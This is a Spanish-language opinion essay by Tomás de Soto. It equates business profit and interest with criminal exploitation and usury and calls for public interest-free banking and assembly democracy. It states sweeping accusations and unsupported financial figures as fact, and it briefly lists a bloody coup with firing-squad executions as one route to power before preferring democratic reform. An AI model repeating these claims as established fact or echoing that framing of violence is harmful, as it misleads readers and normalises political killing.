La Revolución es contra la explotación y la usura

Existe una relación conceptual íntima entre el beneficio y el interés —cuyos extremos son la explotación y la usura—. Produce el mismo efecto tomar a un hombre y hacerlo trabajar sin remunerarlo adecuadamente que imponerle unas excesivas tasas de interés a su deuda. Ambos excesos lo conducen a la misma postración económica, ambos son expolios intencionados. La única diferencia es si el expolio se produce con préstamo dinerario o no. Lo que iguala a ambos delitos (pues la explotación y la usura son delitos de lesa humanidad) es el concepto del hombre como bestia cuya vida no vale más que para obtener plusvalías.

Se identifica interesadamente en los medios públicos «Libertad» con incontrolado ejercicio de la explotación y la usura. El Estado, que es el supuesto milagroso regulador de ambos delitos hasta convertirlos en buenas prácticas, no funciona. Pues el Estado se articula mediante la acción humana de funcionarios (fijos de carrera y eventuales políticos), y el hombre adolece del defecto de la ambición. Así que los políticos y los funcionarios se convierten en cómplices de los altos delincuentes que explotan y ejercen la usura, a cambio de brevas y sobornos.

Por lo tanto, por más que cueste, los delitos de explotación y de usura deben erradicarse. ¿Cómo? Reconociendo que beneficio e interés son sus gérmenes. Son las semillas que engendran la mala hierba que arruina la cosecha. La Bolsa y la Banca son, pues, dos templos de la delincuencia organizada. ¿A alguien le extraña esta conclusión?

La dos cuestiones a resolver, entonces, son:

1. ¿Se emprendería sin tener como objetivo el beneficio?

2. ¿Se prestaría dinero sin interés?

Hay dos respuestas en los contornos sociales: existen las entidades sin ánimo de lucro; y dentro de las familias se presta sin interés. En ambos casos existe una motivación superior al egoísmo: El bienestar de los demás como consecuencia o desbordamiento del bienestar propio. En ninguno de los dos casos tiene nada que ver con la caridad.

Pero no cabe esperar que esas condiciones puedan generalizarse entre humanos. No hay que esperar el amor del prójimo. Sólo debe exigirse ser respetado.

Para dar con la solución al problema que acabo de plantear hay que profundizar en el concepto de dinero.

El dinero es un bien intermedio para el intercambio de bienes y servicios que permite diferir tal intercambio en el tiempo. Es decir: el dinero tiene dos funciones que son el gasto inmediato y el gasto futuro mediante el ahorro.

La masa ahorrada por muchas personas se supone que permite, también, la inversión en bienes comunes y maquinaria para emprender proyectos que rebasan la capacidad de un solo hombre. Es lo mismo que se consigue mediante las sociedades entre hombres (o empresas).

Existen dos leyes de hierro humanas opuestas: la ley del máximo beneficio y la ley del mínimo esfuerzo. Así, un empresario explota a sus obreros aplicando la primera y los trabajadores hacen su trabajo lo peor que pueden sin arriesgarse a ser despedidos. Ambas leyes confluyen, en estos tiempos, en la negociación individual o colectiva de salarios y horarios de trabajo.

Significa que un hombre quiere ser bien pagado por su esfuerzo, pero acepta estar mal pagado malversando las expectativas puestas en él por su patrón. O sea que, ante la explotación patronal, se opone el desperdicio del tiempo trabajado.

Ambas leyes se adaptan a las circunstancias económicas:

1. En tiempos de bonanza, de mano de obra escasa, los salarios son altos y también el rendimiento obrero. Los precios suben y la espiral centrifuga sigue hasta que la máquina se detiene. ¿Por qué? Porque el dinero necesario para mantener la fuga es disparatado. Y el rendimiento del ahorro se resiente. Las rentas del capital detienen el proceso y cuanto más alto se haya subido, más dura es la caída subsiguiente.

2. En crisis, el paro aumenta, los salarios caen y el beneficio decrece, las más de las veces por una suma de falta de trabajo y de interés. Los intereses suben y las rentas del capital superan a las del empresariado.

Ya está centrado el tema.

Los ciclos económicos se corresponden con las alternativas de mayor renta de empresa y capital. Son una lucha entre saurios explotadores y usureros. En ella, los trabajadores son meros peones. No tienen opinión, aunque sufran las consecuencias. Con la adecuada información (manipulada), estarían del lado de los empresarios. Jamás estarían del lado de los usureros.

La gran diferencia de esta crisis respecto a las anteriores (que son las estudiadas por los economistas: buenos analistas, pero malos profetas) es que los usureros han atacado la base productiva entera, consiguiendo endeudar no solo a los empresarios con créditos impagables; sino también a los obreros, compradores todos de viviendas caras, y a los estados, embarcándolos en miles de empresas faraónicas (aeropuertos, autopistas, infraestructuras y edificios innecesarios). El capital con el que los usureros han atacado no ha sido solamente el ahorrado por toda la sociedad, sino el que han creado de la nada: una masa de dinero electrónica de 1700 billones de dólares capaz de acometer tal monstruoso proyecto. Téngase en cuenta que todas las empresas del mundo valen en Bolsa unos 85 billones de dólares.

La lucha entre el delincuente emprendedor y el parásito financiero sigue abierta. Los muertos los pone la clase asalariada.

Eliminar de la vida social la explotación y la usura, las dos verdaderas crucifixiones de las clases asalariadas, pasa por abolir el interés del dinero y el beneficio empresarial. Repito: son lo mismo. Ambos muerden y absorben el esfuerzo ajeno.

La solución de ambos problemas radica en la eliminación de la inflación y el riesgo.

En efecto: cuando un ahorrador deposita su dinero a plazo, trata de contrarrestar, mediante el interés que recibe, la devaluación inherente de su dinero a causa de la inflación y el riesgo de una eventual quiebra de la entidad financiera (de ahí las “primas de riesgo” de los países en dificultades). Sin inflación, no se necesita interés, sino garantías de que el dinero permanecerá intacto y disponible a lo largo del tiempo. Eso lo consigue una banca pública sólida. La Banca debe ser de todos. Y luego veremos cómo se consigue que ello signifique que actúa en interés de todos los ciudadanos, y no solo de las élites. Una banca pública prestaría sin interés a los proyectos viables y socialmente útiles. No a los especulativos. Con un coeficiente de encaje bancario del 100%, pues cuando hace falta nuevo dinero lo imprime el Estado, no lo fabrica de la nada un banco privado. El dinero que hace un banco central es de todos, pues se invierte en todos. Es como una paga extra que reciben todos los ciudadanos en forma de carretera o instalación.

Lo mismo sucede al empresario. Sin inflación ni riesgo, debe emprender buscando socios, no financieros que aporten capital a bajo interés (al inicio del ciclo) para apropiarse de la plusvalía que generen el dinero y la mano de obra. Se ha sacralizado la iniciativa privada, escondiendo que es, casi siempre, un delito en proyecto que se consolida con la corrupción del poder administrativo para sostenerse y la quiebra final para no pagar los créditos de los acreedores. El empresario debe trabajar por un salario, igual que el resto de los trabajadores. Todos juntos. Todos socios. Todos lo mejor pagados posible. Al que ello le suene a chino, que recapacite sobre las disyuntivas moralidad-delincuencia y seguridad-fraude. Pues todos, incluyendo a los emprendedores, acabamos siendo al final víctimas de las élites financieras y oligopolísticas.

La solución, a estas alturas, se alza evidente:

Tomar el control del Estado.

Hay dos métodos:

1º- Una dictadura del proletariado. Un golpe de estado sangriento, el fusilamiento de los explotadores y de los parásitos por la vía expeditiva en paredones improvisados. Para eso hace falta un gran líder capaz de embaucar a millones de personas en una causa como la descrita. Por suerte, su aparición es muy improbable, pues los usureros y los plutócratas controlan los medios de comunicación. Y sin propaganda, nadie impone sus ideas.

2º- El cambio del sistema de poder actual. La destitución en masa de la casta política y funcionarial corrupta. Y, tras un período constituyente, el establecimiento de eso que se llama democracia.

—Ah, pero ¿es que no hay ya democracia? ¿Cómo vamos a solucionar un problema aplicando un medicamento que no ha funcionado hasta ahora? —se preguntará el lector.

No, no hay democracia en España. La democracia es prácticamente desconocida en el mundo. Cuando más, en este país de ignorantes. Aquí se delega el poder político soberano del pueblo en los «expertos de la política», que se agremian en partidos. Los partidos ocupan un punto medio entre una empresa de explotación y un parásito financiero. Lo mismo que hacen las mafias. Y cumplen con su verdadero propósito: robar a manos llenas. Igual que el explotador roba la plusvalía a sus trabajadores y el usurero roba dinero a sus parasitados.

La democracia no tiene ni ha tenido nunca nada que ver con los partidos. Lo mismo que ser aficionado al fútbol no tiene nada que ver con hacerse socio del Madrid o el Barcelona, sino con jugar al fútbol. Así, la democracia tiene que ver con decidir permanentemente de manera colectiva. No una vez cada cuatro años, sino cada día. La democracia es un esfuerzo continuo para el control de la sociedad en beneficio de todos, no solo de nuestras familias.

La “Democracia Continua o Asamblearia”, de ámbito municipal, tiene la característica de que corrige muy rápidamente los errores que pueda cometer. No a los cuatro años, votando a otro ladrón distinto del que acaba de robarnos, sino al día siguiente de aquél en que se detecta el error. Se vota de nuevo y se pone remedio.

La Democracia no es solo la separación de poderes Ejecutivo, Legislativo y Judicial desde las urnas, sino también el control de un cuarto poder del Estado, el Financiero. El modo de que la banca pública cumpla con su función es impidiendo la corrupción de sus funcionarios. También el Poder Financiero debe ser decidido en las urnas y controlado exhaustivamente por el pueblo mediante consejeros especialmente designados democráticamente para ello.

TOMÁS DE SOTO

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